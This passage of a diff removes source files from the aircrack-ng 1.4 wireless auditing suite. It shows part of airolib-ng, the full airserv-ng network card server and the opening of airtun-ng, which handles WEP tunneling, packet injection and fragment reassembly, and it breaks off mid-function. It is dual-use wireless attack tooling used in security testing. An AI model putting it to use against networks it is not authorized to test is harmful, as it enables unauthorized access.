-				else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0)
-				{
-					if (check_for_db(&db, argv[1], 1, 0))
-					{
-						return 1;
-					}
-					import_cowpatty(db, argv[4]);
-				}
-				else if (strcasecmp(argv[3], IMPORT_ESSID) == 0)
-				{
-					if (check_for_db(&db, argv[1], 1, 0))
-					{
-						return 1;
-					}
-					import_ascii(db, IMPORT_ESSID, argv[4]);
-				}
-				else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0
-						 || strcasecmp(argv[3], IMPORT_PASSWD_ALT) == 0)
-				{
-					if (check_for_db(&db, argv[1], 1, 0))
-					{
-						return 1;
-					}
-					import_ascii(db, IMPORT_PASSWD, argv[4]);
-				}
-				else
-				{
-					print_help("Invalid import format specified.");
-					return 1;
-				}
-				break;
-			case 's':
-				// SQL
-
-				// We don't know if the SQL order is changing the file or not
-				if (check_for_db(&db, argv[1], 0, 0))
-				{
-					return 1;
-				}
-
-				sql_stdout(db, argv[3], 0);
-
-				break;
-
-			case 't':
-				// Stats
-				if (check_for_db(&db, argv[1], 0, 1))
-				{
-					return 1;
-				}
-
-				show_stats(db, (argv[3] == NULL) ? 0 : 1);
-
-				break;
-
-			case 'v':
-				// Verify
-				if (check_for_db(
-						&db,
-						argv[1],
-						0,
-						(argc > 3 && strcasecmp(argv[3], "all") == 0) ? 0 : 1))
-				{
-					return 1;
-				}
-
-				verify(db,
-					   (argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
-				break;
-
-			default:
-				print_help("Invalid option");
-				break;
-		}
-	}
-	else
-	{
-		print_help(NULL);
-	}
-
-	if (db) sqlite3_close(db);
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/airserv-ng.c Deleted

@@ -1,548 +0,0 @@
-/*
-  *  Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
-  *
-  *  Copyright (c) 2007-2009  Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  Advanced WEP attacks developed by KoreK
-  *  WPA-PSK  attack code developed by Joshua Wright
-  *  SHA1 MMX assembly code written by Simon Marechal
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <err.h>
-#include <string.h>
-#include <stdarg.h>
-#include <signal.h>
-
-#ifdef __NetBSD__
-#include <sys/select.h>
-#endif
-
-#include "aircrack-osdep/osdep.h"
-#include "aircrack-osdep/network.h"
-#include "version.h"
-
-static void sighandler(int signum)
-{
-	if (signum == SIGPIPE) printf("broken pipe!\n");
-}
-
-struct client
-{
-	int c_s;
-	char c_ip[16];
-
-	struct client * c_next;
-	struct client * c_prev;
-};
-
-static struct sstate
-{
-	int ss_s;
-	struct wif * ss_wi;
-	struct client ss_clients;
-	int ss_level;
-} _ss;
-
-static struct sstate * get_ss(void) { return &_ss; }
-
-static void usage(char * p)
-{
-	if (p)
-	{
-	}
-	char * version_info
-		= getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: airserv-ng <options>\n"
-		   "\n"
-		   "  Options:\n"
-		   "\n"
-		   "       -h         : This help screen\n"
-		   "       -p  <port> : TCP port to listen on (default:666)\n"
-		   "       -d <iface> : Wifi interface to use\n"
-		   "       -c  <chan> : Channel to use\n"
-		   "       -v <level> : Debug level (1 to 3; default: 1)\n"
-		   "\n",
-		   version_info);
-	free(version_info);
-	exit(1);
-}
-
-static void debug(struct sstate * ss, struct client * c, int l, char * fmt, ...)
-{
-	va_list ap;
-
-	if (ss->ss_level < l) return;
-
-	printf("[%s] ", c->c_ip);
-	va_start(ap, fmt);
-	vprintf(fmt, ap);
-	va_end(ap);
-}
-
-static void client_add(struct sstate * ss, int s, struct sockaddr_in * s_in)
-{
-	struct client * c;
-
-	if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()");
-
-	c->c_s = s;
-	strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip) - 1);
-	printf("Connect from %s\n", c->c_ip);
-
-	c->c_prev = &ss->ss_clients;
-	c->c_next = ss->ss_clients.c_next;
-	c->c_next->c_prev = c;
-	ss->ss_clients.c_next = c;
-}
-
-static void client_kill(struct client * c)
-{
-	c->c_prev->c_next = c->c_next;
-	c->c_next->c_prev = c->c_prev;
-	printf("Death from %s\n", c->c_ip);
-	free(c);
-	c = NULL;
-}
-
-static void card_open(struct sstate * ss, char * dev)
-{
-	struct wif * wi = wi_open(dev);
-
-	if (!wi) err(1, "wi_open()");
-	ss->ss_wi = wi;
-}
-
-static int card_set_chan(struct sstate * ss, int chan)
-{
-	return wi_set_channel(ss->ss_wi, chan);
-}
-
-static int card_get_chan(struct sstate * ss)
-{
-	return wi_get_channel(ss->ss_wi);
-}
-
-static int card_set_rate(struct sstate * ss, int rate)
-{
-	return wi_set_rate(ss->ss_wi, rate);
-}
-
-static int card_get_rate(struct sstate * ss) { return wi_get_rate(ss->ss_wi); }
-
-static int card_get_monitor(struct sstate * ss)
-{
-	return wi_get_monitor(ss->ss_wi);
-}
-
-static int
-card_read(struct sstate * ss, void * buf, int len, struct rx_info * ri)
-{
-	int rc;
-
-	if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1) err(1, "wi_read()");
-
-	return rc;
-}
-
-static int
-card_write(struct sstate * ss, void * buf, int len, struct tx_info * ti)
-{
-	return wi_write(ss->ss_wi, buf, len, ti);
-}
-
-static int card_get_mac(struct sstate * ss, unsigned char * mac)
-{
-	return wi_get_mac(ss->ss_wi, mac);
-}
-
-static void open_sock(struct sstate * ss, int port)
-{
-	int s;
-	struct sockaddr_in s_in;
-	int one = 1;
-	memset(&s_in, 0, sizeof(struct sockaddr_in));
-
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	s_in.sin_addr.s_addr = INADDR_ANY;
-
-	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-		err(1, "socket()");
-
-	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1)
-		err(1, "setsockopt()");
-
-	if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		err(1, "bind()");
-
-	if (listen(s, 5) == -1) err(1, "listen()");
-
-	ss->ss_s = s;
-}
-
-static void
-open_card_and_sock(struct sstate * ss, char * dev, int port, int chan)
-{
-	printf("Opening card %s\n", dev);
-	card_open(ss, dev);
-	printf("Setting chan %d\n", chan);
-	if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()");
-
-	printf("Opening sock port %d\n", port);
-	open_sock(ss, port);
-
-	printf("Serving %s chan %d on port %d\n", dev, chan, port);
-}
-
-static void net_send_kill(struct client * c, int cmd, void * data, int len)
-{
-	if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c);
-}
-
-static void handle_set_chan(struct sstate * ss,
-							struct client * c,
-							unsigned char * buf,
-							int len)
-{
-	uint32_t chan;
-	uint32_t rc;
-
-	if (len != sizeof(chan))
-	{
-		client_kill(c);
-		return;
-	}
-
-	chan = *((uint32_t *) buf);
-	chan = ntohl(chan);
-
-	debug(ss, c, 2, "Got setchan %d\n", chan);
-	rc = card_set_chan(ss, chan);
-
-	rc = htonl(rc);
-	net_send_kill(c, NET_RC, &rc, sizeof(rc));
-}
-
-static void handle_set_rate(struct sstate * ss,
-							struct client * c,
-							unsigned char * buf,
-							int len)
-{
-	uint32_t rate;
-	uint32_t rc;
-
-	if (len != sizeof(rate))
-	{
-		client_kill(c);
-		return;
-	}
-
-	rate = *((uint32_t *) buf);
-	rate = ntohl(rate);
-
-	debug(ss, c, 2, "Got setrate %d\n", rate);
-	rc = card_set_rate(ss, rate);
-
-	rc = htonl(rc);
-	net_send_kill(c, NET_RC, &rc, sizeof(rc));
-}
-
-static void handle_get_mac(struct sstate * ss, struct client * c)
-{
-	unsigned char mac[6];
-	int rc;
-
-	rc = card_get_mac(ss, mac);
-	if (rc == -1)
-	{
-		uint32_t x = htonl(rc);
-
-		net_send_kill(c, NET_RC, &x, sizeof(x));
-	}
-	else
-		net_send_kill(c, NET_MAC, mac, 6);
-}
-
-static void handle_get_chan(struct sstate * ss, struct client * c)
-{
-	int rc = card_get_chan(ss);
-	uint32_t chan;
-
-	chan = htonl(rc);
-
-	net_send_kill(c, NET_RC, &chan, sizeof(chan));
-}
-
-static void handle_get_rate(struct sstate * ss, struct client * c)
-{
-	int rc = card_get_rate(ss);
-	uint32_t rate;
-
-	rate = htonl(rc);
-
-	net_send_kill(c, NET_RC, &rate, sizeof(rate));
-}
-
-static void handle_get_monitor(struct sstate * ss, struct client * c)
-{
-	int rc = card_get_monitor(ss);
-	uint32_t x;
-
-	x = htonl(rc);
-
-	net_send_kill(c, NET_RC, &x, sizeof(x));
-}
-
-static void
-handle_write(struct sstate * ss, struct client * c, void * buf, int len)
-{
-	struct tx_info * ti = buf;
-	void * hdr = (ti + 1);
-	int rc;
-	uint32_t x;
-
-	len -= sizeof(*ti);
-
-	debug(ss, c, 2, "Relaying %d bytes packet from client\n", len);
-	rc = card_write(ss, hdr, len, ti);
-	x = htonl(rc);
-
-	net_send_kill(c, NET_RC, &x, sizeof(x));
-}
-
-static void handle_client(struct sstate * ss, struct client * c)
-{
-	unsigned char buf[2048];
-	int len = sizeof(buf);
-	int cmd;
-
-	cmd = net_get(c->c_s, buf, &len);
-	if (cmd == -1)
-	{
-		debug(ss, c, 2, "handle_client: net_get()\n");
-		client_kill(c);
-		return;
-	}
-
-	/* figure out command */
-	switch (cmd)
-	{
-		case NET_SET_CHAN:
-			handle_set_chan(ss, c, buf, len);
-			break;
-
-		case NET_SET_RATE:
-			handle_set_rate(ss, c, buf, len);
-			break;
-
-		case NET_GET_MAC:
-			handle_get_mac(ss, c);
-			break;
-
-		case NET_GET_CHAN:
-			handle_get_chan(ss, c);
-			break;
-
-		case NET_GET_RATE:
-			handle_get_rate(ss, c);
-			break;
-
-		case NET_GET_MONITOR:
-			handle_get_monitor(ss, c);
-			break;
-
-		case NET_WRITE:
-			handle_write(ss, c, buf, len);
-			break;
-
-		default:
-			printf("Unknown request %d\n", cmd);
-			client_kill(c);
-			break;
-	}
-}
-
-static void handle_server(struct sstate * ss)
-{
-	int dude;
-	struct sockaddr_in s_in;
-	socklen_t len;
-
-	len = sizeof(s_in);
-	if ((dude = accept(ss->ss_s, (struct sockaddr *) &s_in, &len)) == -1)
-		err(1, "accept()");
-
-	client_add(ss, dude, &s_in);
-}
-
-static void client_send_packet(struct sstate * ss,
-							   struct client * c,
-							   unsigned char * buf,
-							   int rd)
-{
-	/* XXX check if TX will block */
-	if (rd == -1)
-	{
-		uint32_t rc = htonl(rd);
-		debug(ss, c, 3, "Sending result code %d to client\n", rd);
-
-		net_send_kill(c, NET_RC, &rc, sizeof(rc));
-	}
-	else
-	{
-		debug(ss, c, 3, "Sending %d bytes packet to client\n", rd);
-
-		net_send_kill(c, NET_PACKET, buf, rd);
-	}
-}
-
-static void handle_card(struct sstate * ss)
-{
-	unsigned char buf[2048];
-	int rd;
-	struct rx_info * ri = (struct rx_info *) buf;
-	struct client * c;
-	struct client * next_c;
-
-	rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri);
-	if (rd >= 0) rd += sizeof(*ri);
-
-	ri->ri_mactime = __cpu_to_be64(ri->ri_mactime);
-	ri->ri_power = __cpu_to_be32(ri->ri_power);
-	ri->ri_noise = __cpu_to_be32(ri->ri_noise);
-	ri->ri_channel = __cpu_to_be32(ri->ri_channel);
-	ri->ri_rate = __cpu_to_be32(ri->ri_rate);
-	ri->ri_antenna = __cpu_to_be32(ri->ri_antenna);
-	ri->ri_freq = __cpu_to_be32(ri->ri_freq);
-
-	c = ss->ss_clients.c_next;
-	while (c != &ss->ss_clients)
-	{
-		next_c = c->c_next;
-		client_send_packet(ss, c, buf, rd);
-		c = next_c;
-	}
-}
-
-static void serv(struct sstate * ss, char * dev, int port, int chan)
-{
-	int max;
-	fd_set fds;
-	struct client * c;
-	struct client * next;
-	int card_fd;
-
-	open_card_and_sock(ss, dev, port, chan);
-	card_fd = wi_fd(ss->ss_wi);
-
-	while (1)
-	{
-		/* server */
-		max = ss->ss_s;
-		FD_ZERO(&fds);
-		FD_SET(max, &fds);
-
-		/* clients */
-		c = ss->ss_clients.c_next;
-		while (c != &ss->ss_clients)
-		{
-			FD_SET(c->c_s, &fds);
-			if (c->c_s > max) max = c->c_s;
-
-			c = c->c_next;
-		}
-
-		/* card */
-		FD_SET(card_fd, &fds);
-		if (card_fd > max) max = card_fd;
-
-		if (select(max + 1, &fds, NULL, NULL, NULL) == -1) err(1, "select()");
-
-		/* handle clients */
-		c = ss->ss_clients.c_next;
-		while (c != &ss->ss_clients)
-		{
-			next = c->c_next;
-			if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c);
-
-			c = next;
-		}
-
-		/* handle server */
-		if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss);
-
-		if (FD_ISSET(card_fd, &fds)) handle_card(ss);
-	}
-}
-
-int main(int argc, char * argv[])
-{
-	char * device = NULL;
-	int port = 666;
-	int ch;
-	int chan = 1;
-	struct sstate * ss = get_ss();
-
-	memset(ss, 0, sizeof(*ss));
-	ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients;
-
-	while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1)
-	{
-		switch (ch)
-		{
-			case 'p':
-				port = atoi(optarg);
-				break;
-
-			case 'd':
-				device = optarg;
-				break;
-
-			case 'v':
-				ss->ss_level = atoi(optarg);
-				break;
-
-			case 'c':
-				chan = atoi(optarg);
-				break;
-
-			case 'h':
-			default:
-				usage(argv[0]);
-				break;
-		}
-	}
-
-	signal(SIGPIPE, sighandler);
-
-	if (!device || chan <= 0) usage(argv[0]);
-
-	serv(ss, device, port, chan);
-
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/src/airtun-ng.c Deleted

@@ -1,2031 +0,0 @@
-/*
- *  802.11 WEP network connection tunneling
- *  based on aireplay-ng
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2006-2009 Martin Beck <hirte@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifdef linux
-#include <linux/rtc.h>
-#endif
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <dirent.h>
-#include <signal.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-
-#include <fcntl.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "crypto.h"
-#include "aircrack-util/common.h"
-
-#include "aircrack-osdep/osdep.h"
-
-static struct wif *_wi_in, *_wi_out;
-
-#define CRYPT_NONE 0
-#define CRYPT_WEP 1
-#define CRYPT_WPA 2
-
-// if not all fragments are available 60 seconds after the last fragment was
-// received, they will be removed
-#define FRAG_TIMEOUT (1000000 * 60)
-
-char usage[]
-	= "\n"
-	  "  %s - (C) 2006-2018 Thomas d'Otreppe\n"
-	  "  Original work: Martin Beck\n"
-	  "  https://www.aircrack-ng.org\n"
-	  "\n"
-	  "  usage: airtun-ng <options> <replay interface>\n"
-	  "\n"
-	  "      -x nbpps         : number of packets per second (default: 100)\n"
-	  "      -a bssid         : set Access Point MAC address\n"
-	  "                         In WDS Mode this sets the Receiver\n"
-	  "      -i iface         : capture packets from this interface\n"
-	  "      -y file          : read PRGA from this file\n"
-	  "      -w wepkey        : use this WEP-KEY to encrypt packets\n"
-	  "      -p pass          : use this WPA passphrase to decrypt packets\n"
-	  "                         (use with -a and -e)\n"
-	  "      -e essid         : target network SSID (use with -p)\n"
-	  "      -t tods          : send frames to AP (1) or to client (0)\n"
-	  "                         or tunnel them into a WDS/Bridge (2)\n"
-	  "      -r file          : read frames out of pcap file\n"
-	  "      -h MAC           : source MAC address\n"
-	  "\n"
-	  "  WDS/Bridge Mode options:\n"
-	  "      -s transmitter   : set Transmitter MAC address for WDS Mode\n"
-	  "      -b               : bidirectional mode. This enables "
-	  "communication\n"
-	  "                         in Transmitter's AND Receiver's networks.\n"
-	  "                         Works only if you can see both stations.\n"
-	  "\n"
-	  "  Repeater options:\n"
-	  "      --repeat         : activates repeat mode\n"
-	  "      --bssid <mac>    : BSSID to repeat\n"
-	  "      --netmask <mask> : netmask for BSSID filter\n"
-	  "\n"
-	  "      --help           : Displays this usage screen\n"
-	  "\n";
-
-struct options
-{
-	unsigned char r_bssid[6];
-	unsigned char r_dmac[6];
-	unsigned char r_smac[6];
-	unsigned char r_trans[6];
-
-	unsigned char f_bssid[6];
-	unsigned char f_netmask[6];
-
-	char * s_face;
-	char * s_file;
-	unsigned char * prga;
-
-	int r_nbpps;
-	int prgalen;
-	int tods;
-	int bidir;
-
-	char essid[36];
-	char passphrase[65];
-	unsigned char pmk[40];
-
-	unsigned char wepkey[64];
-	int weplen, crypt;
-
-	int repeat;
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-	struct tif * dv_ti;
-
-	int is_wlanng;
-	int is_hostap;
-	int is_madwifi;
-	int is_madwifing;
-	int is_bcm43xx;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-struct ARP_req
-{
-	unsigned char * buf;
-	int len;
-};
-
-typedef struct Fragment_list * pFrag_t;
-struct Fragment_list
-{
-	unsigned char source[6];
-	unsigned short sequence;
-	unsigned char * fragment[16];
-	short fragmentlen[16];
-	char fragnum;
-	unsigned char * header;
-	short headerlen;
-	struct timeval access;
-	char wep;
-	pFrag_t next;
-};
-
-struct net_entry
-{
-	unsigned char * addr;
-	unsigned char net;
-	struct net_entry * next;
-};
-
-unsigned long nb_pkt_sent;
-unsigned char h80211[4096];
-unsigned char tmpbuf[4096];
-unsigned char srcbuf[4096];
-char strbuf[512];
-struct net_entry * nets = NULL;
-struct WPA_ST_info * st_1st = NULL;
-
-int ctrl_c, alarmed;
-
-char * iwpriv;
-
-pFrag_t rFragment;
-
-static struct net_entry * find_entry(unsigned char * adress)
-{
-	struct net_entry * cur = nets;
-
-	if (cur == NULL) return NULL;
-
-	do
-	{
-		if (!memcmp(cur->addr, adress, 6))
-		{
-			return cur;
-		}
-		cur = cur->next;
-	} while (cur != nets);
-
-	return NULL;
-}
-
-static void set_entry(unsigned char * adress, unsigned char network)
-{
-	struct net_entry * cur;
-
-	if (nets == NULL)
-	{
-		nets = malloc(sizeof(struct net_entry));
-		nets->addr = malloc(6 * sizeof(unsigned char));
-		nets->next = nets;
-		cur = nets;
-	}
-	else
-	{
-		cur = find_entry(adress);
-		if (cur == NULL)
-		{
-			cur = malloc(sizeof(struct net_entry));
-			cur->addr = malloc(6 * sizeof(unsigned char));
-			cur->next = nets->next;
-			nets->next = cur;
-		}
-	}
-
-	memcpy(cur->addr, adress, 6);
-	cur->net = network;
-}
-
-static int get_entry(unsigned char * adress)
-{
-	struct net_entry * cur = find_entry(adress);
-
-	if (cur == NULL)
-	{
-		return -1;
-	}
-	else
-	{
-		return cur->net;
-	}
-}
-
-static void swap_ra_ta(unsigned char * h80211)
-{
-	unsigned char mbuf[6];
-
-	memcpy(mbuf, h80211 + 4, 6);
-	memcpy(h80211 + 4, h80211 + 10, 6);
-	memcpy(h80211 + 10, mbuf, 6);
-}
-
-static int addFrag(unsigned char * packet, unsigned char * smac, int len)
-{
-	pFrag_t cur = rFragment;
-	int seq, frag, wep, z, i;
-	unsigned char frame[4096];
-	unsigned char K[128];
-
-	if (packet == NULL) return -1;
-
-	if (smac == NULL) return -1;
-
-	if (len <= 32 || len > 2000) return -1;
-
-	if (rFragment == NULL) return -1;
-
-	memset(frame, 0, 4096);
-	memcpy(frame, packet, len);
-
-	z = ((frame[1] & 3) != 3) ? 24 : 30;
-	frag = frame[22] & 0x0F;
-	seq = (frame[22] >> 4) | (frame[23] << 4);
-	wep = (frame[1] & 0x40) >> 6;
-
-	if (frag < 0 || frag > 15) return -1;
-
-	if (wep && opt.crypt != CRYPT_WEP) return -1;
-
-	if (wep)
-	{
-		// decrypt it
-		memcpy(K, frame + z, 3);
-		memcpy(K + 3, opt.wepkey, opt.weplen);
-
-		if (decrypt_wep(frame + z + 4, len - z - 4, K, 3 + opt.weplen) == 0
-			&& (len - z - 4 > 8))
-		{
-			printf("error decrypting... len: %d\n", len - z - 4);
-			return -1;
-		}
-
-		/* WEP data packet was successfully decrypted, *
-		* remove the WEP IV & ICV and write the data  */
-
-		len -= 8;
-
-		memcpy(frame + z, frame + z + 4, len - z);
-
-		frame[1] &= 0xBF;
-	}
-
-	while (cur->next != NULL)
-	{
-		cur = cur->next;
-		if ((memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence)
-			&& (wep == cur->wep))
-		{
-			// entry already exists, update
-			//             printf("got seq %d, added fragment %d \n", seq,
-			//             frag);
-			if (cur->fragment[frag] != NULL) return 0;
-
-			if ((frame[1] & 0x04) == 0)
-			{
-				//                 printf("max fragnum is %d\n", frag);
-				cur->fragnum = frag; // no higher frag number possible
-			}
-			cur->fragment[frag] = (unsigned char *) malloc(len - z);
-			memcpy(cur->fragment[frag], frame + z, len - z);
-			cur->fragmentlen[frag] = len - z;
-			gettimeofday(&cur->access, NULL);
-
-			return 0;
-		}
-	}
-
-	//     printf("new seq %d, added fragment %d \n", seq, frag);
-	// new entry, first fragment received
-	// alloc mem
-	cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
-	cur = cur->next;
-
-	for (i = 0; i < 16; i++)
-	{
-		cur->fragment[i] = NULL;
-		cur->fragmentlen[i] = 0;
-	}
-
-	if ((frame[1] & 0x04) == 0)
-	{
-		//         printf("max fragnum is %d\n", frag);
-		cur->fragnum = frag; // no higher frag number possible
-	}
-	else
-	{
-		cur->fragnum = 0;
-	}
-
-	// remove retry & more fragments flag
-	frame[1] &= 0xF3;
-	// set frag number to 0
-	frame[22] &= 0xF0;
-	memcpy(cur->source, smac, 6);
-	cur->sequence = seq;
-	cur->header = (unsigned char *) malloc(z);
-	memcpy(cur->header, frame, z);
-	cur->headerlen = z;
-	cur->fragment[frag] = (unsigned char *) malloc(len - z);
-	memcpy(cur->fragment[frag], frame + z, len - z);
-	cur->fragmentlen[frag] = len - z;
-	cur->wep = wep;
-	gettimeofday(&cur->access, NULL);
-
-	cur->next = NULL;
-
-	return 0;
-}
-
-static int timeoutFrag(void)
-{
-	pFrag_t old, cur = rFragment;
-	struct timeval tv;
-	int64_t timediff;
-	int i;
-
-	if (rFragment == NULL) return -1;
-
-	gettimeofday(&tv, NULL);
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		timediff = (tv.tv_sec - old->access.tv_sec) * 1000000UL
-				   + (tv.tv_usec - old->access.tv_usec);
-		if (timediff > FRAG_TIMEOUT)
-		{
-			// remove captured fragments
-			if (old->header != NULL) free(old->header);
-			for (i = 0; i < 16; i++)
-				if (old->fragment[i] != NULL) free(old->fragment[i]);
-
-			cur->next = old->next;
-			free(old);
-		}
-		cur = cur->next;
-	}
-	return 0;
-}
-
-static int delFrag(unsigned char * smac, int sequence)
-{
-	pFrag_t old, cur = rFragment;
-	int i;
-
-	if (rFragment == NULL) return -1;
-
-	if (smac == NULL) return -1;
-
-	if (sequence < 0) return -1;
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-		{
-			// remove captured fragments
-			if (old->header != NULL) free(old->header);
-			for (i = 0; i < 16; i++)
-				if (old->fragment[i] != NULL) free(old->fragment[i]);
-
-			cur->next = old->next;
-			free(old);
-			return 0;
-		}
-		cur = cur->next;
-	}
-	return 0;
-}
-
-static unsigned char *
-getCompleteFrag(unsigned char * smac, int sequence, int * packetlen)
-{
-	pFrag_t old, cur = rFragment;
-	int i, len = 0;
-	unsigned char * packet = NULL;
-	unsigned char K[128];
-
-	if (rFragment == NULL) return NULL;
-
-	if (smac == NULL) return NULL;
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-		{
-			// check if all frags available
-			if (old->fragnum == 0) return NULL;
-			for (i = 0; i <= old->fragnum; i++)
-			{
-				if (old->fragment[i] == NULL) return NULL;
-				len += old->fragmentlen[i];
-			}
-
-			if (len > 2000) return NULL;
-
-			//             printf("got a complete frame -> build it\n");
-
-			if (old->wep)
-			{
-				if (opt.crypt == CRYPT_WEP)
-				{
-					packet = (unsigned char *) malloc(len + old->headerlen + 8);
-					K[0] = rand() & 0xFF;
-					K[1] = rand() & 0xFF;
-					K[2] = rand() & 0xFF;
-					K[3] = 0x00;
-
-					memcpy(packet, old->header, old->headerlen);
-					len = old->headerlen;
-					memcpy(packet + len, K, 4);
-					len += 4;
-					for (i = 0; i <= old->fragnum; i++)
-					{
-						memcpy(packet + len,
-							   old->fragment[i],
-							   old->fragmentlen[i]);
-						len += old->fragmentlen[i];
-					}
-
-					/* write crc32 value behind data */
-					if (add_crc32(packet + old->headerlen + 4,
-								  len - old->headerlen - 4)
-						!= 0)
-						return NULL;
-
-					len += 4; // icv
-
-					memcpy(K + 3, opt.wepkey, opt.weplen);
-
-					encrypt_wep(packet + old->headerlen + 4,
-								len - old->headerlen - 4,
-								K,
-								opt.weplen + 3);
-
-					packet[1] = packet[1] | 0x40;
-
-					// delete captured fragments
-					delFrag(smac, sequence);
-					*packetlen = len;
-					return packet;
-				}
-				else
-					return NULL;
-			}
-			else
-			{
-				packet = (unsigned char *) malloc(len + old->headerlen);
-				memcpy(packet, old->header, old->headerlen);
-				len = old->headerlen;
-				for (i = 0; i <= old->fragnum; i++)
-				{
-					memcpy(packet + len, old->fragment[i], old->fragmentlen[i]);
-					len += old->fragmentlen[i];
-				}
-				// delete captured fragments
-				delFrag(smac, sequence);
-				*packetlen = len;
-				return packet;
-			}
-		}
-		cur = cur->next;
-	}
-	return packet;
-}
-
-static int is_filtered_netmask(unsigned char * bssid)
-{
-	unsigned char mac1[6];
-	unsigned char mac2[6];
-	int i;
-
-	for (i = 0; i < 6; i++)
-	{
-		mac1[i] = bssid[i] & opt.f_netmask[i];
-		mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
-	}
-
-	if (memcmp(mac1, mac2, 6) != 0)
-	{
-		return (1);
-	}
-
-	return 0;
-}
-
-static int send_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_out; /* XXX globals suck */
-	if (wi_write(wi, buf, count, NULL) == -1)
-	{
-		perror("wi_write()");
-		return -1;
-	}
-
-	nb_pkt_sent++;
-	return 0;
-}
-
-static int read_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_in; /* XXX */
-	int rc;
-
-	rc = wi_read(wi, buf, count, NULL);
-	if (rc == -1)
-	{
-		perror("wi_read()");
-		return -1;
-	}
-
-	return rc;
-}
-
-static int msleep(int msec)
-{
-	struct timeval tv, tv2;
-	float f, ticks;
-	int n;
-	ssize_t rc;
-
-	if (msec == 0) msec = 1;
-
-	ticks = 0;
-
-	while (1)
-	{
-		/* wait for the next timer interrupt, or sleep */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-			}
-			else if (rc == 0)
-			{
-				perror("EOF encountered on /dev/rtc");
-			}
-			else
-			{
-				ticks++;
-			}
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(1024);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks += f / 1024;
-		}
-
